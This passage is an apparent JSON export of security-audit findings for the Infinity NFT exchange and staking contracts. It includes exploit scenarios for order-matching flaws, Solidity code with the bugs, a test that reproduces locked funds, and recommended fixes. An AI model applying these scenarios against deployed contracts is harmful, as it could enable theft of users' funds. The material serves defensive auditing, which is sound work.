sell orders, this part can be executed outside the above for loop // in contrast to the case where if the one order is a sell order, we need to do this in each for loop if (makerOrder.execParams[1] == weth) { IERC20(weth).safeTransferFrom(makerOrder.signer, address(this), protocolFee + gasCost); } else { IERC20(makerOrder.execParams[1]).safeTransferFrom(makerOrder.signer, address(this), protocolFee); IERC20(weth).safeTransferFrom(makerOrder.signer, address(this), gasCost); } } } ``` in its executions it calls `InfinityOrderBookComplication.canExecMatchOneToMany()`, `verifyMatchOneToManyOrders()`, `isOrderValid()` to see that if orders are valid and one order matched to all other orders but there is no check for `seller != buyer` in any of those functions. and also `ERC721` and `ERC20` allows funds and assets to be transferred from address to itself. So it's possible for `matchOneToManyOrders()` to match one user sell orders to its buy orders which can cause fund theft or griefing. This is the scenario for fund lose in `matchOneToManyOrders()`: 1. let's assume orders `NFT` ids are for one collection for simplicity. 2. `NFT ID[1]` fair price is `8 ETH` and `NFT ID[2]` fair price is `2 ETH`. 3. `user1` wants to buy `NFT IDs[1,2]` at `10 ETH` (both of them) so he create one buy order and signs it. 4. `user1` wants to sell `NFT ID[1]` at `2.5 ETH` and sell `NFT ID[2]` at `8.5 ETH`. and he wants to sell them immediately after buying them so he create this two sell orders and sign them. 5. `attacker` who has `NFT ID[1]` creates an sell order for it at `7.5 ETH` and signs it. 6. off-chain machining engine sends this orders to `matchOneToManyOrders()`: many orders = [`(attacker sell ID[1] at 7.5 ETH)` , `(user1 sell ID[1] at 2.5 ETH)`] , one order = `(user1 buy IDs[1,2] at 10ETH)` 7. function `matchOneToManyOrders()` logic will check orders and their matching and all the checks would be passed for matching one order to many order(becase tokens lists intersects and numTokens are valids too (`1+1=2`)) 8. function `matchOneToManyOrders()` would execute order and transfer funds and tokens which would result in: (transferring `7.5 ETH` from `user 1` to `attacker`) (transferring `2.5 ETH` from `user1` to `user1`) (transferring `NFT ID[1]` from `attacker` to `user1`) (transferring `NFT ID[1]` from `user1` to `user1`) 9. so in the end contract executed `user1` buy order `(user1 buy IDs[1,2] at 10ETH)` but `user` only received `NFT ID[1]` and didn't received `NFT ID[2]` so contract code perform operation contradiction to what `user1` has been signed. Of course for this attack to work for `matchOneToManyOrders()` off-chain matching engine need to send wrong data but checks on the contract are not enough. There are other scenarios for other functions that can cause griefing, for example for function `matchOrders()`: a user can have multiple order to buy some tokens in list of ids. it's possible to match these old orders: 1. `user1` has this order: A:`(user1 BUY 1 of IDs[1,2,3])` and B:`(user1 BUY 1 of IDs[1,4,5])` 2. then the order B get executed for ID[1] and `user1` become the owner of `ID[1]` 3. `user1` wants to sell some of his tokens so he signs this order: C::`(user1 SELL 1 of IDs[1,6,7])` 4. matching engine would send order A and C with `constructedNfts=ID[1]` to `matchOrders()`. 5. `matchOrders()` would check conditions and would see that conditions are met and perform the transaction. 6. `user1` would pay some unnecessary order fee and it would become like griefing and DOS attack for him. There may be other scenarios for this vuln to be harmful for users. ## Tools Used VIM ## Recommended Mitigation Steps add some checks to ensure that `seller != buyer` "}, {"title": "Malicious governance can use `updateWethTranferGas` to steal WETH from buyers", "html_url": "https://github.com/code-423n4/2022-06-infinity-findings/issues/127", "labels": ["bug", "2 (Med Risk)", "disagree with severity", "sponsor acknowledged"], "target": "2022-06-infinity-findings", "body": "Malicious governance can use `updateWethTranferGas` to steal WETH from buyers"}, {"title": "Missing Complication check in `takeMultipleOneOrders`", "html_url": "https://github.com/code-423n4/2022-06-infinity-findings/issues/125", "labels": ["bug", "3 (High Risk)", "sponsor confirmed"], "target": "2022-06-infinity-findings", "body": "# Lines of code https://github.com/code-423n4/2022-06-infinity/blob/765376fa238bbccd8b1e2e12897c91098c7e5ac6/contracts/core/InfinityExchange.sol#L300-L328 # Vulnerability details An order's type and it's rules are defined in it's `Complication`. Not checking it would allow anyone to take any orders regardless of their Complication's rule, causing unexpected execution for order makers. `takeMultipleOneOrders` assumes that all `makerOrders` are simple orderbook orders and the Complication check is missing here. #### Proof of Concept - Alice signs a makerOrder with `PrivateSaleComplication`, allowing only Bob to take the private sale order. - A malicious trader calls `takeMultipleOneOrders` to take Alice's order, despite the Complication only allowing Bob to take it. #### Recommended Mitigation Steps Add `canExecTakeOneOrder` function in IComplication.sol and implement it in `InfinityOrderBookComplication` (and future Complications) to support `takeMultipleOneOrders` operation, then modify `takeMultipleOneOrders` to use the check: ``` function takeMultipleOneOrders() { ... for (uint256 i = 0; i < numMakerOrders; ) { bytes32 makerOrderHash = _hash(makerOrders[i]); bool makerOrderValid = isOrderValid(makerOrders[i], makerOrderHash); bool executionValid = IComplication(makerOrders[i].execParams[0]).canExecTakeOneOrder(makerOrders[i]); require(makerOrderValid && executionValid, 'order not verified'); require(currency == makerOrders[i].execParams[1], 'cannot mix currencies'); require(isMakerSeller == makerOrders[i].isSellOrder, 'cannot mix order sides'); uint256 execPrice = _getCurrentPrice(makerOrders[i]); totalPrice += execPrice; // @audit-issue missing complication check _execTakeOneOrder(makerOrderHash, makerOrders[i], isMakerSeller, execPrice); unchecked { ++i; } } ... } ``` "}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-infinity-findings/issues/124", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-infinity-findings", "body": "QA Report"}, {"title": "InfinityStaker Pausable contract implemented incorrectly", "html_url": "https://github.com/code-423n4/2022-06-infinity-findings/issues/122", "labels": ["bug", "QA (Quality Assurance)", "sponsor confirmed"], "target": "2022-06-infinity-findings", "body": "# Lines of code https://github.com/code-423n4/2022-06-infinity/blob/765376fa238bbccd8b1e2e12897c91098c7e5ac6/contracts/staking/InfinityStaker.sol#L67 https://github.com/code-423n4/2022-06-infinity/blob/765376fa238bbccd8b1e2e12897c91098c7e5ac6/contracts/staking/InfinityStaker.sol#L86-L90 https://github.com/code-423n4/2022-06-infinity/blob/765376fa238bbccd8b1e2e12897c91098c7e5ac6/contracts/staking/InfinityStaker.sol#L116 # Vulnerability details ## Impact `InfinityStaker.sol` implemented Pausable contract, but there's no functionality added to `pause` and `unpause` the contract. If any attacker finds a way to exploit the contract and it's funds, at that time it will not let you pause the contract and funds can be lost. ## Proof of Concept `InfinityStaker.sol` inhereted `Pausable.sol` of `Openzeppelin` and used `whenNotPaused` modifier for `stake()`, `unstake()` and `changeDuration()`, function _pause() internal virtual whenNotPaused { _paused = true; emit Paused(_msgSender()); } `_pause()` and `_unpause()` function of `Pausable.sol` used to `pause` and `unpause` the contract respectively and both has `internal` visibility, to use these functions it needs to access from the `infinityStaker.sol` internally. ## Tools Used Manual Analysis ## Recommended Mitigation Steps add `pause` and `unpause` the contract function to `InfinityStaker.sol` "}, {"title": "Incorrect condition marks valid order as invalid", "html_url": "https://github.com/code-423n4/2022-06-infinity-findings/issues/120", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2022-06-infinity-findings", "body": "# Lines of code https://github.com/code-423n4/2022-06-infinity/blob/main/contracts/core/InfinityOrderBookComplication.sol#L140 # Vulnerability details ## Impact canExecMatchOrder is having an incorrect check which makes a valid order as invalid. doItemsIntersect function is also checked on sell.nfts, buy.nfts which is incorrect. doItemsIntersect should only be checked in reference to constructedNfts ## Proof of Concept 1. Assume buy has nfts {A,B,C}, sell has nft {A,B}, constructedNfts has nft {A}, buy.constraints[0]/sell.constraints[0]/numConstructedItems is 1 2. Ideally this order should match since constructedNfts {A} is present in both buy and sell 3. But this will not match since doItemsIntersect(sell.nfts, buy.nfts) will fail because of item C which is not present in sell ## Recommended Mitigation Steps Remove doItemsIntersect(sell.nfts, buy.nfts) from InfinityOrderBookComplication.sol#L140 "}, {"title": "Admin can force users to remain staked", "html_url": "https://github.com/code-423n4/2022-06-infinity-findings/issues/117", "labels": ["bug", "disagree with severity", "QA (Quality Assurance)", "sponsor acknowledged"], "target": "2022-06-infinity-findings", "body": "Admin can force users to remain staked"}, {"title": "_updateUserStakedAmounts() is not setting userstakedAmounts[user][].timestamp=0 when amount if 0 in some cases", "html_url": "https://github.com/code-423n4/2022-06-infinity-findings/issues/116", "labels": ["bug", "QA (Quality Assurance)", "sponsor confirmed"], "target": "2022-06-infinity-findings", "body": "# Lines of code https://github.com/code-423n4/2022-06-infinity/blob/765376fa238bbccd8b1e2e12897c91098c7e5ac6/contracts/staking/InfinityStaker.sol#L287-L325 # Vulnerability details ## Impact function `_updateUserStakedAmounts()` is supposed to update user staked amounts and it sets `userstakedAmounts[user][].timestamp=0` when `userstakedAmounts[user][].amount` is `0x0`. but there are some cases that code logic don't handle them and `amount` become `0x0` and code don't set `timestamp` to `0x0`. so any logic that is depended on `timestamp==0` when `amount==0` could fail, to my understanding setting `timestamp` is for gas efficiency. ## Proof of Concept This is `_updateUserStakedAmounts()` code: ``` /** @notice Update user staked amounts for different duration on unstake * @dev A more elegant recursive function is possible but this is more gas efficient */ function _updateUserStakedAmounts( address user, uint256 amount, uint256 noVesting, uint256 vestedThreeMonths, uint256 vestedSixMonths, uint256 vestedTwelveMonths ) internal { if (amount > noVesting) { userstakedAmounts[user][Duration.NONE].amount = 0; userstakedAmounts[user][Duration.NONE].timestamp = 0; amount = amount - noVesting; if (amount > vestedThreeMonths) { userstakedAmounts[user][Duration.THREE_MONTHS].amount = 0; userstakedAmounts[user][Duration.THREE_MONTHS].timestamp = 0; amount = amount - vestedThreeMonths; if (amount > vestedSixMonths) { userstakedAmounts[user][Duration.SIX_MONTHS].amount = 0; userstakedAmounts[user][Duration.SIX_MONTHS].timestamp = 0; amount = amount - vestedSixMonths; if (amount > vestedTwelveMonths) { userstakedAmounts[user][Duration.TWELVE_MONTHS].amount = 0; userstakedAmounts[user][Duration.TWELVE_MONTHS].timestamp = 0; } else { userstakedAmounts[user][Duration.TWELVE_MONTHS].amount -= amount; } } else { userstakedAmounts[user][Duration.SIX_MONTHS].amount -= amount; } } else { userstakedAmounts[user][Duration.THREE_MONTHS].amount -= amount; } } else { userstakedAmounts[user][Duration.NONE].amount -= amount; } } ``` for example if `amount=noVesting` then code would execute line: `userstakedAmounts[user][Duration.NONE].amount -= amount;` which sets the `userstakedAmounts[user][Duration.NONE].amount` to `0x0` but `userstakedAmounts[user][Duration.NONE].timestamp` won't change. As as in all other logics when `amount` is `0x0` code set `timestamp` to `0x0` too but here that logic is not happening for this cases (amount equal to `noVesting` or `noVesting + vestedThreeMonths` or ...). ## Tools Used VIM ## Recommended Mitigation Steps change if conditions from `>` to `>=`, so for equal case the code set `timestamp` to `0x0` too. "}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-infinity-findings/issues/112", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-infinity-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-infinity-findings/issues/110", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-infinity-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-infinity-findings/issues/106", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-infinity-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-infinity-findings/issues/105", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-infinity-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-infinity-findings/issues/103", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-infinity-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-infinity-findings/issues/98", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-infinity-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-infinity-findings/issues/97", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-infinity-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-infinity-findings/issues/96", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-infinity-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-infinity-findings/issues/95", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-infinity-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-infinity-findings/issues/94", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-infinity-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-infinity-findings/issues/90", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-infinity-findings", "body": "QA Report"}, {"title": "`_transferNFTs()` succeeds even if no transfer is performed", "html_url": "https://github.com/code-423n4/2022-06-infinity-findings/issues/87", "labels": ["bug", "3 (High Risk)", "sponsor confirmed"], "target": "2022-06-infinity-findings", "body": "# Lines of code https://github.com/code-423n4/2022-06-infinity/blob/765376fa238bbccd8b1e2e12897c91098c7e5ac6/contracts/core/InfinityExchange.sol#L1062 # Vulnerability details ## Impact If an NFT is sold that does not specify support for the ERC-721 or ERC-1155 standard interface, the sale will still succeed. In doing so, the seller will receive funds from the buyer, but the buyer will not receive any NFT from the seller. This could happen in the following cases: 1. a token that claims to be ERC-721/1155 compliant, but fails to implement the `supportsInterface()` function properly. 2. an NFT that follows a standard other than ERC-721/1155 and does not implement their EIP-165 interfaces. 3. a malicious contract that is deployed to take advantage of this behavior. ## Proof of Concept https://gist.github.com/kylriley/3bf0e03d79b3d62dd5a9224ca00c4cb9 ## Tools Used N/A ## Recommended Mitigation Steps If neither the ERC-721 nor the ERC-1155 interface is supported the function should revert. An alternative approach would be to attempt a `transferFrom` and check the balance before and after to ensure that it succeeded. "}, {"title": "InfinityExchange computes gas refunds in a way where the first order's buyer pays less than the later ones", "html_url": "https://github.com/code-423n4/2022-06-infinity-findings/issues/82", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2022-06-infinity-findings", "body": "# Lines of code https://github.com/code-423n4/2022-06-infinity/blob/main/contracts/core/InfinityExchange.sol#L149 https://github.com/code-423n4/2022-06-infinity/blob/main/contracts/core/InfinityExchange.sol#L202 https://github.com/code-423n4/2022-06-infinity/blob/main/contracts/core/InfinityExchange.sol#L273 # Vulnerability details ## Impact The way the gas refunds are computed in the InfinityExchange contract, the first orders pay less than the latter ones. This causes a loss of funds for the buyers whose orders came last in the batch. ## Proof of Concept The issue is that the `startGasPerOrder` variable is computed within the for-loop. That causes the first iterations to be lower than later ones. Here's an example for the following line: https://github.com/code-423n4/2022-06-infinity/blob/main/contracts/core/InfinityExchange.sol#L202 To make the math easy we use the following values: ``` startGas = 1,000,000 gasPerOrder = 100,000 (so fulfilling an order costs us 100,000 gas) ordersLength = 10 ``` For the 2nd order we then get: ``` startGasPerOrder = 900,000 + ((1,000,000 + 20,000 - 900,000) / 10) startGasPerOrder = 912,000 ``` For the 9th order we get: ``` startGasPerOrder = 200,000 + ((1,000,000 + 20,000 - 200,000) / 10) startGasPerOrder = 282,000 ``` The `startGasPerOrder` variable is passed through a couple of functions without any modification until it reaches a line like this: https://github.com/code-423n4/2022-06-infinity/blob/main/contracts/core/InfinityExchange.sol#L231 ```sol uint256 gasCost = (startGasPerOrder - gasleft() + wethTransferGasUnits) * tx.gasprice; ``` There, the actual gas costs for the user are computed. In our case, that would be: ``` # 2nd order # gasleft() is 800,00 because we said that executing the order costs ~100,000 gas. At the beginning of the order, it was 900,000 so now it's 800,000. This makes the computation a little more straightforward although it's not 100% correct. gasCost = (912,000 - 800,000 + 50,000) * 1 gasCost = 162,000 # 9th order gasCost = (282,000 - 100,000 + 50,000) * 1 gasCost = 232,000 ``` So the 2nd order's buyer pays `162,000` while the 9th order's buyer pays `232,000`. As I said the math was dumbed down a bit to make it easier. The actual difference might not be as big as shown here. But, there is a difference. ## Tools Used none ## Recommended Mitigation Steps The `startGasPerOrder` variable should be initialized *outside* the for-loop. "}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-infinity-findings/issues/80", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-infinity-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-infinity-findings/issues/78", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-infinity-findings", "body": "QA Report"}, {"title": "Malicious tokens can be used to grief buyers and cause loss of their WETH balance", "html_url": "https://github.com/code-423n4/2022-06-infinity-findings/issues/74", "labels": ["bug", "2 (Med Risk)", "sponsor acknowledged"], "target": "2022-06-infinity-findings", "body": "Malicious tokens can be used to grief buyers and cause loss of their WETH balance"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-infinity-findings/issues/72", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-infinity-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-infinity-findings/issues/71", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-infinity-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-infinity-findings/issues/69", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-infinity-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-infinity-findings/issues/68", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-infinity-findings", "body": "QA Report"}, {"title": "Non-Deterministic Nonce Leading to Non Cancellable Orders", "html_url": "https://github.com/code-423n4/2022-06-infinity-findings/issues/66", "labels": ["bug", "disagree with severity", "QA (Quality Assurance)", "sponsor confirmed"], "target": "2022-06-infinity-findings", "body": "# Lines of code https://github.com/code-423n4/2022-06-infinity/blob/765376fa238bbccd8b1e2e12897c91098c7e5ac6/contracts/core/InfinityExchange.sol#L375-L402 https://github.com/code-423n4/2022-06-infinity/blob/765376fa238bbccd8b1e2e12897c91098c7e5ac6/contracts/core/InfinityExchange.sol#L507-L530 # Vulnerability details ## Impact The current nonce is non-deterministic. This means that at any point in time, it is not possible to say what the current nonce for a given signer is. **So, there is no way to cancel all pending orders.** ## Proof of Concept Let's say there was a mass phishing attack on users and some signatures were phished. Since the user does not know the nonce of the signatures that were signed by him/her, he/she cannot cancel it via `cancelMultipleOrders`. And there is no way to cancel all pending orders. Since the nonce can be any arbitrary value, if the signature had a UINT256 MAX value, there is no way to cancel it via `cancelAllOrders`. ## Tools Used VS Code ## Recommended Mitigation Steps It is recommended to have a deterministic nonce, instead of a non-deterministic nonce. 1. Instead of tracking minNonce, we should track currentNonce. 2. Only allow one increment of the nonce. `cancelAllOrders` should increment the current nonce by 1. 3. Only signatures that match the currentNonce should be considered valid (exactly equal). 4. Instead of canceling orders by nonce, the hash map should be by order hash. So, `isUserOrderNonceExecutedOrCancelled[msg.sender][orderHash]` should be recorded. If these steps are taken, any such phishing attack can be prevented by simply calling `cancelAllOrders` and incrementing the nonce, because the signature must match the current nonce, and so if the current nonce is incremented by 1, there will be a mismatch and will invalid all pending orders. Also, specific listings can be canceled by `cancelMultipleOrders` which can check `isUserOrderNonceExecutedOrCancelled[msg.sender][orderHash]` "}, {"title": "Bug in `MatchOneToManyOrders` may cause tokens theft", "html_url": "https://github.com/code-423n4/2022-06-infinity-findings/issues/65", "labels": ["bug", "2 (Med Risk)", "sponsor acknowledged"], "target": "2022-06-infinity-findings", "body": "Bug in `MatchOneToManyOrders` may cause tokens theft"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-infinity-findings/issues/63", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-infinity-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-infinity-findings/issues/62", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-infinity-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-infinity-findings/issues/61", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-infinity-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-infinity-findings/issues/59", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-infinity-findings", "body": "Gas Optimizations"}, {"title": "Calling `unstake()` can cause locked funds", "html_url": "https://github.com/code-423n4/2022-06-infinity-findings/issues/50", "labels": ["bug", "3 (High Risk)", "sponsor confirmed"], "target": "2022-06-infinity-findings", "body": "# Lines of code https://github.com/code-423n4/2022-06-infinity/blob/main/contracts/staking/InfinityStaker.sol#L290-L325 # Vulnerability details ## Impact Following scenario: Alice has staked X token for 6 months that have vested. She stakes Y tokens for another three months. If she now calls `unstake(X)` to take out the tokens that have vested, the Y tokens she staked for three months will be locked up. ## Proof of Concept First, here's a test showcasing the issue: ```js describe('should cause trouble', () => { it('should lock up funds', async function () { await approveERC20(signer1.address, token.address, amountStaked, signer1, infinityStaker.address); await infinityStaker.connect(signer1).stake(amountStaked, 2); await network.provider.send(\"evm_increaseTime\", [181 * DAY]); await network.provider.send('evm_mine', []); // The funds we staked for 6 months have vested expect(await infinityStaker.getUserTotalVested(signer1.address)).to.eq(amountStaked); // Now we want to stake funds for three months await approveERC20(signer1.address, token.address, amountStaked2, signer1, infinityStaker.address); await infinityStaker.connect(signer1).stake(amountStaked2, 1); // total staked is now the funds staked for three & six months // total vested stays the same expect(await infinityStaker.getUserTotalStaked(signer1.address)).to.eq(amountStaked.add(amountStaked2)); expect(await infinityStaker.getUserTotalVested(signer1.address)).to.eq(amountStaked); // we unstake the funds that are already vested. const userBalanceBefore = await token.balanceOf(signer1.address); await infinityStaker.connect(signer1).unstake(amountStaked); const userBalanceAfter = await token.balanceOf(signer1.address); expect(userBalanceAfter).to.eq(userBalanceBefore.add(amountStaked)); expect(await infinityStaker.getUserTotalStaked(signer1.address)).to.eq(ethers.BigNumber.from(0)); expect(await infinityStaker.getUserTotalVested(signer1.address)).to.eq(ethers.BigNumber.from(0)); }); }); ``` The test implements the scenario I've described above. In the end, the user got back their `amountStaked` tokens with the `amountStaked2` tokens being locked up in the contract. The user has no tokens staked at the end. The issue is in the `_updateUserStakedAmounts()` function: ```sol if (amount > noVesting) { userstakedAmounts[user][Duration.NONE].amount = 0; userstakedAmounts[user][Duration.NONE].timestamp = 0; amount = amount - noVesting; if (amount > vestedThreeMonths) { // MAIN ISSUE: // here `vestedThreeMonths` is 0. The current staked tokens are set to `0` and `amount` is decreased by `0`. // Since `vestedThreeMonths` is `0` we shouldn't decrease `userstakedAmounts` at all here. userstakedAmounts[user][Duration.THREE_MONTHS].amount = 0; userstakedAmounts[user][Duration.THREE_MONTHS].timestamp = 0; amount = amount - vestedThreeMonths; // `amount == vestedSixMonths` so we enter the else block if (amount > vestedSixMonths) { userstakedAmounts[user][Duration.SIX_MONTHS].amount = 0; userstakedAmounts[user][Duration.SIX_MONTHS].timestamp = 0; amount = amount - vestedSixMonths; if (amount > vestedTwelveMonths) { userstakedAmounts[user][Duration.TWELVE_MONTHS].amount = 0; userstakedAmounts[user][Duration.TWELVE_MONTHS].timestamp = 0; } else { userstakedAmounts[user][Duration.TWELVE_MONTHS].amount -= amount; } } else { // the staked amount is set to `0`. userstakedAmounts[user][Duration.SIX_MONTHS].amount -= amount; } } else { userstakedAmounts[user][Duration.THREE_MONTHS].amount -= amount; } } else { userstakedAmounts[user][Duration.NONE].amount -= amount; } ``` ## Tools Used none ## Recommended Mitigation Steps Don't set `userstakedAmounts.amount` to `0` if none of its tokens are removed (`vestedAmount == 0`) "}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-infinity-findings/issues/47", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-infinity-findings", "body": "QA Report"}, {"title": "Some real-world NFT tokens may support both ERC721 and ERC1155 standards, which may break `InfinityExchange::_transferNFTs`", "html_url": "https://github.com/code-423n4/2022-06-infinity-findings/issues/43", "labels": ["bug", "3 (High Risk)", "sponsor confirmed"], "target": "2022-06-infinity-findings", "body": "# Lines of code https://github.com/code-423n4/2022-06-infinity/blob/765376fa238bbccd8b1e2e12897c91098c7e5ac6/contracts/core/InfinityExchange.sol#L1062-L1072 # Vulnerability details ## Impact Many real-world NFT tokens may support both ERC721 and ERC1155 standards, which may break `InfinityExchange::_transferNFTs`, i.e., transferring less tokens than expected. For example, the asset token of [The Sandbox Game](https://www.sandbox.game/en/), a Top20 ERC1155 token on [Etherscan](https://etherscan.io/tokens-nft1155?sort=7d&order=desc), supports both ERC1155 and ERC721 interfaces. Specifically, any ERC721 token transfer is regarded as an ERC1155 token transfer with only one item transferred ([token address](https://etherscan.io/token/0xa342f5d851e866e18ff98f351f2c6637f4478db5) and [implementation](https://etherscan.io/address/0x7fbf5c9af42a6d146dcc18762f515692cd5f853b#code#F2#L14)). Assuming there is a user tries to buy two tokens of Sandbox's ASSETs with the same token id, the actual transferring is carried by `InfinityExchange::_transferNFTs` which first checks ERC721 interface supports and then ERC1155. ```solidity= function _transferNFTs( address from, address to, OrderTypes.OrderItem calldata item ) internal { if (IERC165(item.collection).supportsInterface(0x80ac58cd)) { _transferERC721s(from, to, item); } else if (IERC165(item.collection).supportsInterface(0xd9b67a26)) { _transferERC1155s(from, to, item); } } ``` The code will go into `_transferERC721s` instead of `_transferERC1155s`, since the Sandbox's ASSETs also support ERC721 interface. Then, ```solidity= function _transferERC721s( address from, address to, OrderTypes.OrderItem calldata item ) internal { uint256 numTokens = item.tokens.length; for (uint256 i = 0; i < numTokens; ) { IERC721(item.collection).safeTransferFrom(from, to, item.tokens[i].tokenId); unchecked { ++i; } } } ``` Since the `ERC721(item.collection).safeTransferFrom` is treated as an ERC1155 transferring with one item ([reference](https://etherscan.io/address/0x7fbf5c9af42a6d146dcc18762f515692cd5f853b#code#F2#L833)), there is only one item actually gets traferred. That means, the user, who barely know the implementation details of his NFTs, will pay the money for two items but just got one. Note that the situation of combining ERC721 and ERC1155 is prevalent and poses a great vulnerability of the exchange contract. ## Proof of Concept Check the return values of [Sandbox's ASSETs](https://etherscan.io/token/0xa342f5d851e866e18ff98f351f2c6637f4478db5)'s `supportInterface`, both `supportInterface(0x80ac58cd)` and `supportInterface(0xd9b67a26)` return true. ## Tools Used Manual Inspection ## Recommended Mitigation Steps Reorder the checks,e.g., ```solidity= function _transferNFTs( address from, address to, OrderTypes.OrderItem calldata item ) internal { if (IERC165(item.collection).supportsInterface(0xd9b67a26)) { _transferERC1155s(from, to, item); } else if (IERC165(item.collection).supportsInterface(0x80ac58cd)) { _transferERC721s(from, to, item); } } ``` "}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-infinity-findings/issues/39", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-infinity-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-infinity-findings/issues/38", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-infinity-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-infinity-findings/issues/35", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-infinity-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-infinity-findings/issues/34", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-infinity-findings", "body": "QA Report"}, {"title": "InfinityStaker: Manipulations of updatePenalties", "html_url": "https://github.com/code-423n4/2022-06-infinity-findings/issues/25", "labels": ["bug", "disagree with severity", "QA (Quality Assurance)", "sponsor acknowledged"], "target": "2022-06-infinity-findings", "body": "InfinityStaker: Manipulations of updatePenalties"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-infinity-findings/issues/21", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-infinity-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-infinity-findings/issues/19", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-infinity-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-infinity-findings/issues/18", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-infinity-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-infinity-findings/issues/17", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-infinity-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-infinity-findings/issues/16", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-infinity-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-infinity-findings/issues/13", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-infinity-findings", "body": "Gas Optimizations"}, {"title": "`canExecTakeOrder` mismatches `makerOrder` and `takerItems` when duplicated items present", "html_url": "https://github.com/code-423n4/2022-06-infinity-findings/issues/12", "labels": ["bug", "3 (High Risk)", "sponsor confirmed"], "target": "2022-06-infinity-findings", "body": "# Lines of code https://github.com/code-423n4/2022-06-infinity/blob/765376fa238bbccd8b1e2e12897c91098c7e5ac6/contracts/core/InfinityOrderBookComplication.sol#L154-L164 https://github.com/code-423n4/2022-06-infinity/blob/765376fa238bbccd8b1e2e12897c91098c7e5ac6/contracts/core/InfinityOrderBookComplication.sol#L68-L116 https://github.com/code-423n4/2022-06-infinity/blob/765376fa238bbccd8b1e2e12897c91098c7e5ac6/contracts/core/InfinityExchange.sol#L336-L364 https://github.com/code-423n4/2022-06-infinity/blob/765376fa238bbccd8b1e2e12897c91098c7e5ac6/contracts/core/InfinityExchange.sol#L178-L243 # Vulnerability details ## Impact When any user provides a `sellOrder` and they are trying to sell multiple tokens from _n_ (n > 1) different `ERC1155` collections in a single order, hakcers can get the 